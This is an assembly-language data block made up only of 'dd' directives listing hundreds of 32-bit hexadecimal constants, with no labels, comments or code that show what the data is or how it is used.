		dd 727EAAF0h, 0F2D655BFh, 4EE55DC5h, 0B574EC2Eh, 0C045213h
		dd 3815AF16h, 6A3213h, 35E5CBBEh, 0E91C7074h, 5F2D28BBh
		dd 5C2F3415h, 695E0811h, 0B303942Ch, 0E5DC3011h, 812EFEB0h
		dd 6812E968h, 23AAC0E3h, 3B81293Dh, 583149F1h, 7CC610ECh
		dd 0AB5F8900h, 51817D41h, 0AD5AE902h, 68EF4821h, 0AA4D5CE3h
		dd 0A35150C7h, 17D93BFFh, 49096A59h, 0A8000041h, 37E807D7h
		dd 5E1AC889h, 0F47EDEFFh, 0FD361240h, 0BC4215EFh, 445DD882h
		dd 11B7540h, 1AE18159h,	821E3C76h, 9B0DEE60h, 0C7EB0E96h
		dd 0A97DF529h, 0D30602A8h, 10D709A4h, 763186A7h, 6020FC04h
		dd 94B81CE1h, 7FF5FE01h, 240E6E0h, 73632D48h, 525CA61Dh
		dd 0F6E68B2Fh, 38751E1Eh, 0E2E79D70h, 0C7DAAB0Ch, 2DDEBCFAh
		dd 6AA33A2h, 2B7C15E2h,	0D8585502h, 28527628h, 70865E8Fh
		dd 53C78179h, 409E6E09h, 6F885729h, 0BFC2408h, 0CBF1A244h
		dd 4081FD49h, 7BC056B3h, 5E105EA0h, 571BDC39h, 5C445791h
		dd 0BEF50DB8h, 688223B3h, 64623D1h, 2A2C545Ah, 0EC9A4A4Eh
		dd 0AEB99F08h, 1413DDB7h, 0A4A481EFh, 24228399h, 95D0F62Bh
		dd 3ACBC1FEh, 2C837020h, 24E0E548h, 0A2097E58h,	40705422h
		dd 0C002B151h, 606E132h, 16A90808h, 0B8AF4AD4h,	8E068D4h
		dd 0BA000C22h, 36D742CDh, 0C0D15929h, 2824A893h, 36A010C1h
		dd 572D74BCh, 0CAFB7407h, 439B2376h, 8F925466h,	0E361B80Ch
		dd 0D1AE882Bh, 4C5B4E40h, 25022C52h, 8948261Ch,	2AD53549h
		dd 0E9B02FB8h, 0AC7B832h, 7421CE88h, 1F770187h,	0E9B1B516h
		dd 5A8802FDh, 615652DBh, 0A72AC433h, 0A7277B88h, 5B35A75Fh
		dd 0D90CAC63h, 0F62F4A2Bh, 144412F7h, 0FA8765FBh, 16D3D798h
		dd 126F531Dh, 0F0A3E47Ah, 13087F0Fh, 0AA5D6A29h, 7AD4F85h
		dd 21090E9h, 0DD8D4EF6h, 0F705833Bh, 10A5B89Dh,	5E2D3FFEh
		dd 1708D307h, 0EB35C27Fh, 0BEE8EFDEh, 5573A3A8h, 6A731D2Ch
		dd 9F19E103h, 650C0170h, 31EED2ECh, 85D0C9C2h, 8690E908h
		dd 15A119B8h, 0FA82EBEh, 1D932586h, 0E04D000h, 305AA72Ch
		dd 525300C3h, 0FA560C68h, 0E64BE918h, 9F72EB4h,	483A29B8h
		dd 303DE000h, 3AF34BA7h, 16A6F3F8h, 0CC90507h, 765B0A1Eh
		dd 0E95F82A8h, 0C0D94EC1h, 0B41F99BCh, 67FC5964h, 4FEC9196h
		dd 80D8FB6Bh, 68291790h, 2FBFB5B0h, 89D7350h, 552DD819h
		dd 0E6BF2216h, 6C68178Fh, 6347CC01h, 0C6D16997h, 83EEB66Fh
		dd 85DFCFE9h, 28A6F7AEh, 34996B59h, 0F22D132Ch,	0E5E795B3h
		dd 8FE95285h, 44B41CD0h, 0ACDC4EF6h, 0E4737382h, 48C48024h
		dd 0E6906909h, 0A6EC042Ch, 0F831E157h, 0ABCA2410h, 8430B516h
		dd 0B7746859h, 6AF0FC46h, 4918FABFh, 0B84C5AC7h, 203AA10h
		dd 35512CBBh, 0A11FF019h, 0D17E4986h, 27F0A3Dh,	0AEF2D75Ch
		dd 98694BF6h, 0CB645CC9h, 52FA41DEh, 0BF56970Bh, 0DBBA5B12h
		dd 68500034h, 2E2A43B4h, 0E1187FE9h, 0A46FAC3Bh, 7E822C04h
		dd 28C8AC52h, 197FD805h, 0E912860Ah, 772FE3F3h,	1BE1B4B3h
		dd 850C5782h, 2E66E131h, 2D4B2AE3h, 4AF96B24h, 2144FB4Ah
		dd 4D09A6FBh, 400028Bh,	0E1551043h, 19315924h, 2FA72D02h
		dd 0E8CFC0FEh, 0DAA4C156h, 70629025h, 0A027D72h, 4E93A6Eh
		dd 0DEBB00BDh, 54CFC536h, 90DD89DBh, 9DF329C2h,	0B9F72EB3h
		dd 0B046A7Eh, 4EF09C54h, 0D23FFB97h, 0E68107D1h, 688E6803h
		dd 25E93A69h, 2571E621h, 0D2186FE8h, 11DB52DCh,	0C7EADAC2h
		dd 40490B99h, 709DFC5h,	3463F1CFh, 0C5BA0606h, 0E84F175Fh
		dd 73106EC0h, 32F54835h, 9C8B6469h, 6412A27Dh, 0EE800137h
		dd 0B1043BD5h, 5184F908h, 8F3FEDA1h, 0B277556h,	527BA26Ah
		dd 3D02FBE0h, 2F97741Ch, 0D2F8A46Eh, 5EBD53BAh,	7EC219E1h
		dd 81CADBFFh, 0F59482F7h, 82949A16h, 0D16BCB58h, 41779CDDh
		dd 46E93F5Ch, 0C2AB8FB2h, 7E5A2271h, 0F179DF5Bh, 9B2F3489h
		dd 3B80F52Eh, 0ED665E70h, 0E2469940h, 0C3E92E0Ah, 0F4808760h
		dd 0B3EC3336h, 2084BBB7h, 514A912Dh, 0F9352B54h, 3B7EDF80h
		dd 0FC164ED7h, 0F6810137h, 2C1D0D1Ch, 0C9990C82h, 0CA5FC535h
		dd 0BD167F6Ah, 0B00C8727h, 25351CCh, 57B17BB7h,	7FEF930h
		dd 70E1B10h, 8E86C9FEh,	3998FDFAh, 1744091Dh, 4934E380h
		dd 7DE9150Ah, 0FB569742h, 0A3C0D55Ah, 0F77E534Bh, 4AA82BFDh
		dd 0BCF360A7h, 7758B7F1h, 16CB747Fh, 0F43B52BEh, 0AA0097B6h
		dd 7A4B2D66h, 231647DFh, 0F8C35490h, 4FF60C71h,	9C52EBD1h
		dd 757D1D09h, 0B066F501h, 47990BB0h, 5713BC09h,	0EC82DA18h
		dd 0F7F5919Dh, 1EFCD1E7h, 4B682481h, 60391B35h,	0D65AB072h
		dd 68C25BEDh, 18555C2Bh, 21C2083h, 0EFD16CC3h, 11E0D7F7h
		dd 0ED0049BEh, 9CA810Ah, 0EC451858h, 27509E2h, 0C7D00FE4h
		dd 2F1CE919h, 3EDCE74Dh, 0BF9BFE0h, 44155717h, 11805F49h
		dd 446E18A7h, 13FEBF65h, 47652DE6h, 39FA6FEEh, 0B7CAF866h
		dd 7D4C46DDh, 995C0AA4h, 0ACE56FECh, 34CEFBA5h,	6331680Ah
		dd 0E9548208h, 0FFA0D95Eh
		dd 874704E7h, 0BFD580A1h, 5554C808h, 0B9C0EE94h, 0E6B56CF9h
		dd 69D220C4h, 0BD7A7697h, 604F7516h, 4C5525A7h,	10802B4Fh
		dd 2F6DCECBh, 0F88264CCh, 9940434Bh, 0E0BD158Fh, 0BC44E875h
		dd 6625815Ch, 401C2C70h, 2F497793h, 40E1E93Ch, 0E3B80050h
		dd 0F70F6E1Ah, 750C25D0h, 3C3C5964h, 63912EE9h,	0B91CC261h
		dd 2CF9BE00h, 0F646E411h, 0DD6E4F0Fh, 0FA6DECA3h, 3BB916C0h
		dd 9E8F6AB8h, 0A76B0853h, 4D2C5907h, 33BC5F94h,	9C32AF5Fh
		dd 0F1077F8h, 32D2ADD5h, 69145B01h, 0FC7E7D3Ch,	9BEA5DEh
		dd 9F2ABA33h, 8640C57h,	543DF30Ah, 0AA04B40h, 3F4F7B8Ah
		dd 5830C309h, 715E320h,	4EEB0AC3h, 0D731FAA9h, 3BCF6849h
		dd 4EDF3EF2h, 0FB74DFF7h, 833A0237h, 0A0F23B5h,	0CC3EA8CFh
		dd 0A84AEE53h, 8A6F21EBh, 0BCB50D7h, 6E3C0A7h, 97399856h
		dd 5A09F4CBh, 504AF4D7h, 601849C3h, 0ADA47673h,	182D2D71h
		dd 8F388D5h, 14041C34h,	12BBD8E9h, 78BA22h, 0A4CE4E39h
		dd 231864F8h, 0BE48AE0Fh, 82C0D19h, 564FB01h, 0EAE3AE08h
		dd 6E846958h, 7BCCEEF4h, 2A584147h, 0FE39141h, 997A7382h
		dd 56F73A71h, 79FB75C5h, 238E6E61h, 0D6A28C18h,	481317BAh
		dd 270F74F3h, 7077A406h, 0D55F61FBh, 0EF4B0A11h, 2A2BDC2Dh
		dd 4DF11AD1h, 0FFAB751Bh, 3372BE0Bh, 0C4075EB4h, 57200375h
		dd 583FF2BFh, 0F702247Fh, 47ED4D32h, 847C2177h,	57CA79EEh
		dd 300164FAh, 68715212h, 0BF363F76h, 0C057E84Eh, 6359355Ch
		dd 0C212DE9h, 8A5012F4h, 0EF17C0BFh, 2FB7708Dh,	6F4F0CC1h
		dd 71B9FC57h, 0A2121CDCh, 88BE49F8h, 98770982h,	0C98EEB09h
		dd 4F804BEDh, 0B838EFC7h, 0EAF85E62h, 861EF74Dh, 0F29B4D0h
		dd 0CCC955C6h, 0F511D79Eh, 1A997EA0h, 15A2CD10h, 585401C4h
		dd 162AF135h, 0FC4D3447h, 0A86F6241h, 73B36E5Dh, 0D730BAFCh
		dd 72FC68B4h, 0DEA3F5C4h, 0E97499ABh, 80BB843Ch, 80EE87C7h
		dd 6EAC0B6h, 65286818h,	83DB0727h, 435B0CCh, 6B284C41h
		dd 0FABB7117h, 4148496Ch, 3AC331A1h, 908446A3h,	805A0B1Fh
		dd 575DAE6Dh, 0F331225Eh, 4AA9E92Eh, 5C623CABh,	0FBC0D555h
		dd 0C7B81C37h, 8453A00h, 0D1DDF768h, 253EB0E5h,	96198A79h
		dd 79B16BFAh, 3F917D3Eh, 493AAAA1h, 0FBE051DCh,	801EC2FEh
		dd 4392DBF2h, 0B83F97A1h, 1388A1F5h, 25EDB22Fh,	554409D1h
		dd 189867CCh, 0A242E45Ah, 0E050C3B1h, 0A8C5830Dh, 0B33A15E6h
		dd 4155078Bh, 0C4093493h, 4EBB83D5h, 204D1D81h,	0D89547A0h
		dd 0EC08A051h, 0EF919761h, 3E23605Ch, 947C77C6h, 0BCE04E57h
		dd 4C4E04C8h, 86EF323Ah, 810204B2h, 2F0654F2h, 0E93D601Bh
		dd 0D6EA2DB5h, 0E2E93F8Eh, 0B7C213E2h, 40008374h, 15D16BDh
		dd 6070F4CDh, 0B65220A9h, 0EE3980CCh, 42E68E63h, 0E90761C0h
		dd 0FD298EC3h, 4A2E010h, 3DA3685Eh, 377CF399h, 0A21C8185h
		dd 362C5A35h, 32BD27E9h, 5E778248h, 0FC6E1897h,	0B94AC09Fh
		dd 7C743369h, 4D1F730h,	7C1FE181h, 100E5C2Dh, 145A6604h
		dd 0A120BF3Ch, 9C29B2E9h, 0DE39AD0h, 0DF407AC2h, 0B3672514h
		dd 597997D6h, 0AAA7BC01h, 26FF5809h, 0DE87B99Bh, 3E4F0BB5h
		dd 49ADE1F9h, 0AD2F29F6h, 13E1D29Ch, 0E31526Bh,	0FB17D455h
		dd 0AC4F47CAh, 60014BE3h, 74B31660h, 5E29820h, 0E93C4736h
		dd 0BE99D4C4h, 3E98C841h, 0D0821D48h, 22715DC6h, 54041646h
		dd 7608685Ah, 0A7CB8AACh, 5BF70CE2h, 844DE858h,	0EC4C1768h
		dd 3792C00Eh, 130506DEh, 0E0D2E1Ah, 94EFD078h, 0E52F626h
		dd 2D128190h, 8F057AE1h, 0CBBE4789h, 20AD58A7h,	5B6604E7h
		dd 8440B252h, 0E2CD82DAh, 0C3408009h, 0F63E5014h, 97DA4F3Bh
		dd 33F473FEh, 0A54F0E3Eh, 188014Dh, 406E5DEFh, 65733A8Eh
		dd 4CBF5B6Bh, 98442746h, 1D820F47h, 6072560Bh, 2879BC51h
		dd 9B85522h, 25513109h,	0E9FD81F5h, 0C129FED6h,	0B193D2DEh
		dd 27F72BB1h, 8AC10117h, 9B34E9Eh, 31205659h, 9E7D3CA0h
		dd 13C561C0h, 0D268EF56h, 4D98097Dh, 455B6610h,	9589F09h
		dd 7AF6E9h, 57E7392Bh, 0BE035652h, 421D45F2h, 60E9A889h
		dd 0E35495EFh, 56515051h, 8938C9E9h, 533FBD03h,	0F5D73347h
		dd 7DE7AEC8h, 0DC9C5F3Eh, 0FE4D3885h, 43B3AEB5h, 1873E983h
		dd 7FB81002h, 864A5272h, 0BBA5895h, 342D5F71h, 301D4600h
		dd 0A8C32688h, 0F894649Ah, 2F773E05h, 0F5F40610h, 3D13D24Eh
		dd 6E04B0A9h, 0BE14F34Ah, 0A865A4C1h, 584217Fh,	933C46Dh
		dd 9968560Ah, 12B04C31h, 49F01603h, 4794E87Dh, 502BFF00h
		dd 4012E90Ah, 0CD685881h, 8976F9D7h, 75BD62E4h,	805A0BD9h
		dd 5F6290C6h, 0FB0CC258h, 0DA605318h, 5EABA6F4h, 349D6EC1h
		dd 7EEB69B3h, 0D3DDEAE9h, 2BDFDD2Eh, 7B54EFCBh,	18442568h
		dd 40B2B624h, 0A75784C6h, 51ECBA53h, 0BA619A31h, 804D661h
		dd 2FE19064h, 86AE9300h, 0E90E0859h, 5D097B82h,	3630DF47h
		dd 1E300BC5h, 96384E70h, 0BB3A4AF2h, 64720904h,	5FF9F590h
		dd 59193D88h, 42C32097h, 753BE491h, 0B013257Eh,	0E963C102h
		dd 2CB256E1h, 0CE983B84h, 1ABA2EEEh, 16707E13h,	60A1C784h
		dd 3F67E37Ah, 487FA60Fh, 0B9B1FA13h, 8240E90Bh,	1E4918B9h
		dd 57D57640h, 0E93DED05h, 0CE30E885h, 2D68F1F7h, 0B5DB0946h
		dd 77E7949Ch, 0C729FE30h, 0DE60F8FAh, 15EF70Fh,	4044B0CFh
		dd 0F50BBE53h, 573AA14Ch, 61BB5AC8h, 0B22A6D3Ch, 5D65B4FBh
		dd 0F28C4D22h, 5D4FBF00h, 47410751h, 63DAF781h,	0E022CA2h
		dd 0B3A96EEFh, 368DC152h, 215D5900h, 2F1C573Dh,	4F78813Dh
		dd 0DAE0DFF7h, 0B8688006h, 55F428B2h, 891209B7h, 786029C7h
		dd 6001459Eh, 6841A3E6h, 15B74E60h, 0C17B7411h,	46E40502h
		dd 427D25E0h, 0E80709B9h, 0D123BC24h, 7158C1D3h, 168D5D7Bh
		dd 0CCE8881Dh, 250ECD52h, 74019776h, 58E53513h,	0A12FB906h
		dd 6BEBCDCCh, 0BA80CAB8h, 3ABE1D11h, 28D892C1h,	0CA56B05h
		dd 2C0CD770h, 2C0BD3E9h, 72D201B9h, 0C36864A9h,	548C7F4Fh
		dd 60E1831Ch, 31D6665h,	2A63F7Fh, 68740A31h, 401043FCh
		dd 599B28ABh, 0E90566BCh, 0AC45827Fh, 155F3726h, 0FB80D952h
		dd 70045966h, 0E9D87D13h, 16512BFCh, 0A379FB68h, 50BA1559h
		dd 0B8B50151h, 79E9EA88h, 9F7C643Ch, 5BF5373h, 68CE5D9Eh
		dd 87550EAh, 0D9CA327Dh, 46F5BD36h, 88B02CC2h, 1174AC65h
		dd 296B7C0Ch, 682F607Dh, 90395CA5h, 556801D6h, 0E4D0A3B6h
		dd 372AE9CEh, 0D2F010F6h, 0FD91995Ah, 0C33326C8h, 395BA140h
		dd 0F4DF70CBh, 0BA05DEA5h, 23E9C838h, 0C8534892h, 2E2D2B49h
		dd 0CF33734Ch, 5B2F0B34h, 3EF03ED0h, 175160Fh, 8A81CC2h
		dd 652FE917h, 4807A290h, 33040B2Dh, 4F793CCDh, 58215FBDh
		dd 0BB008E9Dh, 0E20D3BF0h, 0ACDE313Dh, 0CE8AF9CFh, 0C1B7C82Bh
		dd 0B906EE24h, 17AA0D08h, 6BF0425Dh, 0F26333B2h, 7AC5D4F1h
		dd 37C15621h, 6280FC0Dh, 65EF1CB6h, 0DED9D86Bh,	1315B63Bh
		dd 0E2170FCh, 0FE042117h, 121AD247h, 7D5D7742h,	0F70855E7h
		dd 53AC00EFh, 0CF80E7B7h, 3635D07Ch, 84EA187Ch,	0B228FC8Dh
		dd 635ADD5Dh, 0E2052098h, 3E5C10Fh, 52805EC5h, 4EE43380h
		dd 0B4F3877Dh, 28CBEDBh, 69FB7231h, 0F2D008DFh,	0E125E9F0h
		dd 5C62DE2Ah, 3089729Bh, 0BECDFC3h, 733CB925h, 0E9530514h
		dd 5A2092C6h, 52C5C05Dh, 42A800BAh, 0E28135F9h,	17046C2Bh
		dd 5911E907h, 4B32B4D0h
		dd 0FA024CD8h, 0E6D937Fh, 0AA176187h, 56C29977h, 0CB727DEBh
		dd 0FEBD06F0h, 0F254EB52h, 0A39E772Fh, 83642DB9h, 25766802h
		dd 0BC82D851h, 407F9A02h, 82971EE3h, 0C58277FEh, 75341F71h
		dd 0CEE9B813h, 1ECCE82Eh, 27DF6BFh, 67513469h, 90DCDA55h
		dd 69F32ACh, 5E41EB69h,	10962E5h, 246BE181h, 0DC4D5148h
		dd 0BBA2567Ah, 5ECF7DD8h, 8BBCBD59h, 0A69FF95Ah, 0E19413D9h
		dd 27353F61h, 847DA708h, 81283BB2h, 8156304Fh, 0C3FEEE3h
		dd 0C4832E80h, 0EBD435Dh, 306B554Ch, 0EAC9F1E7h, 19352773h
		dd 6003AED9h, 0A93E3D4Fh, 766D803Fh, 50C229C0h,	6D146A68h
		dd 152A5A32h, 3F89A77Ch, 0A2B7F6E5h, 57DC0531h,	13423251h
		dd 3CB5F176h, 5B91EA10h, 2B1851F8h, 0FDEB7B77h,	987B1B2Ch
		dd 9A54CB1Fh, 0E8EE8DFEh, 6FA3F52Fh, 6B0E8A87h,	0CB97C66h
		dd 0F3E7AAEBh, 646A750Bh, 0D380870Ch, 0C7CCFD0Bh, 2C4FFA7Dh
		dd 3AE7116h, 87A35A2h, 92C1113Fh, 17DC779Ch, 27C57D01h
		dd 0B44EB50Fh, 0AF2AF497h, 724CA54h, 0E8519000h, 9ED8169h
		dd 760E6613h, 0EAC46664h, 0B5ECF3D9h, 0B494EC4Ah, 4EE88EAAh
		dd 8F8943B9h, 9268FFE0h, 5ACF05BFh, 2145B5AAh, 59A70834h
		dd 207D4B48h, 34B907CDh, 0A31E360Ah, 1427C075h,	0C137D459h
		dd 36215A68h, 44263ECBh, 50109F6h, 65FD06EBh, 7E16B695h
		dd 0D42743F2h, 54654007h, 760F3F52h, 42E915FDh,	0D3229F49h
		dd 0DA9620F4h, 5243D62Dh, 901F1104h, 62C1BE35h,	8102EA90h
		dd 0E01442E6h, 96CC5D1Dh, 0EFC1382Ch, 5A3C2A82h, 57C8622Dh
		dd 5C2930C8h, 0E93D2475h, 0EA98D4BAh, 6D70110Fh, 0A74066B0h
		dd 24F077A1h, 83EDCB7Eh, 26C13F94h, 28BFF9D1h, 0C9538FAEh
		dd 20205254h, 80095597h, 0D5880DC3h, 0B9876133h, 0CDA616D7h
		dd 0FE062C2Eh, 1A6551FFh, 0CD5C3161h, 0FC52B112h, 5E7ACBBAh
		dd 0C9BDBF40h, 1A709547h, 0AAF301E9h, 48975AD7h, 3D0E2597h
		dd 5EBCB08h, 85BA9EFEh,	7F615BF5h, 818321ECh, 0F9E840EFh
		dd 5EB55D0Fh, 0C5E942DAh, 2C091B74h, 7BC4F02Eh,	9E1652B6h
		dd 14E0D12Fh, 2724639Dh, 688BEB0Fh, 22183214h, 41D2AEEh
		dd 86D0EE58h, 20F7DFF5h, 0E91301F8h, 0BD30D8B3h, 2C2088F1h
		dd 28F6B9Ah, 4FC2D70Bh,	0C3122ED5h, 0E15C22CDh,	0EE44F201h
		dd 0D0FB0816h, 0C6B6879h, 0DE23D9A8h, 0F7C16EB5h, 6875C8D2h
		dd 7642BDAAh, 0A8A7ED57h, 26FD7330h, 18447C1Fh,	0CBE90DF9h
		dd 0D1948E4Bh, 0F8602CFBh, 9EACCA5Eh, 2829BBD7h, 415B6A30h
		dd 5E037D50h, 57062E22h, 0D3C5DDE9h, 60A2CDF0h,	0AB179E30h
		dd 0E1AC55E9h, 0BFBF717Bh, 0B3FC2F95h, 23020CF2h, 0C6F5A27h
		dd 40B4110Bh, 6113220Ch, 0FBE526Ah, 3103793h, 0FE4E71BFh
		dd 48ADD214h, 2CB1B80Fh, 1433414Ch, 818DB9BBh, 0EAE7077Dh
		dd 70C702E2h, 6DDC7DE8h, 64A0B613h, 89C09D29h, 6033D6Ch
		dd 8F685B25h, 1F47120Fh, 5F9B42Bh, 0AE899A0h, 0CFEC5572h
		dd 0A6695809h, 74620044h, 0BDDCAE7Dh, 2E5FF162h, 0DE48A9F2h
		dd 6B184D71h, 6293DDEDh, 4C7D291Eh, 6AE4BF6Fh, 0E2926676h
		dd 2793C53Ch, 0F58262F6h, 0C2096EE7h, 0CF2C22BAh, 4BA6EC3Ch
		dd 4A57EA8Fh, 0BEF494F9h, 951902B6h, 0D8AD1857h, 249F1B7Bh
		dd 0D1A0BA1Bh, 421902BFh, 0FB2918EAh, 380DBE7Ah, 670BD456h
		dd 0C0B6F420h, 67CC802Eh, 0C012E4D0h, 82BA08ECh, 0E389BB59h
		dd 539704D8h, 0FA51E4F7h, 1B86A488h, 8C0FEC5h, 688CC9D9h
		dd 0ACE3E718h, 0E3FB84B0h, 0EA800304h, 90CAFE38h, 1DD2F6C2h
		dd 5D90B151h, 0C0D1C3D9h, 0E0002E1h, 891C180h, 0CE6659CAh
		dd 0C41DBD26h, 0EE9364E9h, 9DEEBB34h, 7C8B6E9Ah, 0BFF6542Dh
		dd 0B4126A6Ah, 0FF9709E2h, 5B4C2688h, 0F9BA3949h, 0BA7D34A3h
		dd 0EBC00209h, 5A9F07FFh, 0CA645739h, 3F592F2Eh, 11078141h
		dd 0B7D8F7E4h, 318D46DEh, 406E4EDDh, 127CE6B7h,	0FDA10228h
		dd 0B8BD030Fh, 0A0578669h, 17347DF3h, 0AF2973DCh, 0B197B50Ah
		dd 538048ACh, 68A41902h, 59465256h, 7DC72F10h, 0C43FF26h
		dd 5D31EC2h, 130E858h, 6EF9BE56h, 0BA814121h, 69667F1Ah
		dd 698A31E9h, 0C681E49Ch, 8C3E2A9Bh, 1EF87932h,	0E3E90D12h
		dd 7C68B980h, 0BEB3A870h, 8F1495D4h, 206BD6F8h,	0F62DD18h
		dd 27E1E7FFh, 0CA42A9F6h, 0E0C9F699h, 284DF680h, 8B2FF369h
		dd 5753625Ah, 0AC51C7h,	0AF088D00h, 90435B13h, 691C44F2h
		dd 4F31145Fh, 0A468DC7Dh, 401AD194h, 0C07512D6h, 3B08EAB6h
		dd 7757FA3h, 0DF063C1h,	0B100B9D1h, 0D875CF9Ch,	4AD2F724h
		dd 9182142h, 0D7BE62h, 2D3BB416h, 9AC60981h, 4C546030h
		dd 0D9085800h, 0C4CE0179h, 70C9078h, 0C4ECC609h, 0BD661F5Bh
		dd 0D0838A6Ah, 59BFBDF0h, 79BF6154h, 48E58F8h, 0A60CC707h
		dd 0BA52A071h, 0E8255A72h, 2C2AF14Fh, 0D5042FEBh, 0C7118059h
		dd 66163B3Fh, 6A04D6F7h, 0A88A22A4h, 0A85C0113h, 0D564F1EEh
		dd 848FE27Eh, 112BA5Fh,	0B980B3F4h, 59BC6E7Ah, 2947CB02h
		dd 0E5605AC8h, 7E1824C0h, 0EB1F091Fh, 0FE6F17D3h, 1B28EF7Fh
		dd 490F4916h, 81F8EC97h, 7E1A91EEh, 0C2D1BE61h,	1DC56A24h
		dd 5C415751h, 6C2FDFDEh, 0E701004h, 64C28952h, 98AB5A5Fh
		dd 3342D0F2h, 0C225C21Ch, 0A6684A44h, 0B568FA5Fh, 0BA804165h
		dd 0C1C3A0Fh, 3D7605BEh, 0BF296663h, 4F38AE90h,	38EF901Eh
		dd 61822EEAh, 1630E911h, 522FC508h, 407197EDh, 81DB0B27h
		dd 0D1502DC2h, 481E3E4h, 2735BBEDh, 0DEB1AB04h,	3CCB0806h
		dd 58E574E9h, 1506C131h, 0EB210061h, 485B85Dh, 742E4333h
		dd 588AF929h, 0A09F2567h, 0F44B5EFBh, 0A2289D23h, 94662D08h
		dd 0EBB77197h, 0FA086251h, 93E9612Ch, 0EB376E41h, 0C65A7692h
		dd 924B801h, 7E208AC1h,	0E8E9B800h, 8548FFFBh, 207B22E0h
		dd 0B9905992h, 27EFFA5Ah, 0AAC39881h, 3F09C532h, 7BD06Ah
		dd 5205EFC1h, 160D2868h, 5AB392EBh, 39CD8AFBh, 20AB4EA8h
		dd 8A2F736Dh, 1029584Ch, 0C34CDB12h, 6978ED2Fh,	4DB3DA83h
		dd 8CB6BB85h, 2A93563Eh, 0B72CFB08h, 0A86C5E01h, 0A5E4C464h
		dd 0DFDD8CEFh, 0F4601641h, 0C95313E1h, 0F901F115h, 0E76C51h
		dd 0D12BB05h, 0E7F0012Dh, 0B5E90740h, 0EE3FC03Ch, 49921170h
		dd 797DAF6h, 8871B428h,	0C8C158E1h, 6050CE4Ch, 3025FADFh
		dd 79022012h, 8E91BA05h, 0A769403Bh, 7222276Eh,	881BADAh
		dd 72B96E58h, 9828E9C2h, 0C4700B76h, 2EF68248h,	2D447308h
		dd 0FC05DDF8h, 0EFE9D430h, 216036B1h, 0F979E54Ah, 0BC527977h
		dd 46542F8Dh, 0DDB1F116h, 0C27DBB2Ah, 9633E72Fh, 252C8BBBh
		dd 0C1F68122h, 0C74003EAh, 1288FEE5h, 1D7211Eh,	3EF4C7F5h
		dd 71E9E005h, 78787A49h, 1DB3554Ch, 2DDBF801h, 0DB8ADB0Fh
		dd 77F8105Fh, 10FC966Eh, 0DC4F6F19h, 0C5F091D5h, 11DD6078h
		dd 0A8686186h, 0E912B0B2h, 0CFF88FB3h, 0AAA958C4h, 5EEF6456h
		dd 225B92B2h, 0BD76D42Ah, 34B31E3Fh, 9C494413h,	22C2280h
		dd 2405C599h, 2CAE4292h, 0DE52B9FEh, 4BA5BAAFh,	0F85A5284h
		dd 0A83BED4Dh, 6DEF2E2Ch, 4152FEAEh, 0B697F1CFh, 0AB90FA50h
		dd 12F9CF81h, 0AC762162h, 3A060043h, 0A2BB5FE8h, 5CEB1757h
		dd 0D5B40B31h, 59F47442h, 0B8C38061h, 58BEC7Bh,	0E04FE94Ah
		dd 6871DCFBh, 0BE575F09h, 7D38622Ah, 253F470Fh,	0FC2749C6h
		dd 5BD291B9h, 0A4FB35E4h, 6CC461B3h, 3FD828EFh,	0CF0CE121h
		dd 3BCCBF00h, 51792226h
		dd 8920B320h, 9519EC32h, 5B41D242h, 13EF6963h, 3ABB554Bh
		dd 0C5680933h, 6E30FD14h, 0A60A45FCh, 0DCE7C149h, 107F150Bh
		dd 5936347Eh, 0DA0ECA3Eh, 0E9E5516Eh, 0FB48957Bh, 7558AACBh
		dd 1F29BB05h, 0CCDB000Eh, 0E978D563h, 7BCE54F8h, 4E31E4E0h
		dd 1E80E794h, 9B198068h, 7F0F3E8Bh, 0EEE95BD6h,	0BFEEE45Dh
		dd 0D36621D9h, 51C7948Fh, 0B6E28053h, 0BB416E3Fh, 0E90BC4BAh
		dd 986D95E1h, 1D48F38Bh, 584FCB71h, 2660B059h, 266F295Ch
		dd 252E1041h, 7E75F58h,	84F1F609h, 810DCA9Dh, 0DEB06B34h
		dd 0C8489F58h, 1D3F0EFEh, 82E18325h, 0D905763Ah, 4D2234BCh
		dd 85FC0892h, 0BAD5825h, 21375D78h, 0E6985263h,	0E5A8A51Bh
		dd 76142628h, 5DE4767h,	3773CE45h, 0FEFF12ABh, 4D075628h
		dd 9940BA23h, 120A71B5h, 0EDD92915h, 4C0D904Eh,	94271A6Bh
		dd 1C3675D6h, 1B894731h, 0D6C659E8h, 0B3845A0Fh, 0E2858270h
		dd 0EBAB9AC3h, 5E588BACh, 640460A8h, 0E403B7E9h, 2B176EFDh
		dd 94C0330Dh, 0A105C801h, 0B26A590Ah, 0D1FAD22Fh, 8D10D8h
		dd 3D72D3BBh, 0D8254B0Dh, 0F101157Ah, 2728573Eh, 523FCB89h
		dd 92E9019Ch, 3A405852h, 5008EF50h, 0EC41CADFh,	4FBAA930h
		dd 8B68FD90h, 2A32E429h, 76E788E9h, 3A2CF35Dh, 3B280501h
		dd 6C487AEEh, 652D8108h, 0E07FE7CCh, 6739B6A8h,	9974833h
		dd 0DB491FE9h, 0D192BDE6h, 75DDEAAAh, 0C18C96F0h, 68A2B018h
		dd 8BB86E52h, 5BBBBC96h, 0BE2D44BBh, 3F6807BAh,	277953F9h
		dd 38970C14h, 26E95827h, 42861030h, 0D955A19Eh,	420668B7h
		dd 0C1126856h, 0AF045466h, 0EB0026A2h, 575BDD87h, 68B76FE9h
		dd 9F04BA0Bh, 679C8718h, 31211309h, 1E85F3F7h, 4BDBC5EFh
		dd 0AB01ABD1h, 756F2549h, 5ACBD17Ah, 4587605Eh,	0C66489BEh
		dd 534AAEFCh, 1D57AE7Eh, 841CCA9h, 650647Dh, 0FCD54F11h
		dd 0AF68E1C6h, 99E9DB50h, 0C80BC6DFh, 0E5B7308Bh, 0F03B13CFh
		dd 23C0B702h, 0F3814359h, 0C9281648h, 2E06EE87h, 0A2A5E3FBh
		dd 0C22B8355h, 0F01317DDh, 5A5BBB05h, 4A4A2E0h,	580CB958h
		dd 80267C90h, 2740317Ch, 3E573D21h, 198ECD81h, 0F5C07DAEh
		dd 42A91EB1h, 3EBE5603h, 0E0775A69h, 126B51F6h,	0A44E5512h
		dd 6A0DFFD8h, 26E9207Eh, 91BA5897h, 70D02961h, 6A95B7E5h
		dd 69C3400Fh, 0F7E0B539h, 531DBA05h, 0B7D7ABDh,	0D614153Bh
		dd 4368C1B0h, 549E535Fh, 597717BEh, 0E795A1FCh,	0F876259Ah
		dd 4A51BA25h, 295BD770h, 0E937E8E9h, 41815EB0h,	4E3AD5BFh
		dd 31872122h, 5361E22Ah, 79402AD8h, 0F71A78EEh,	0B1CBA850h
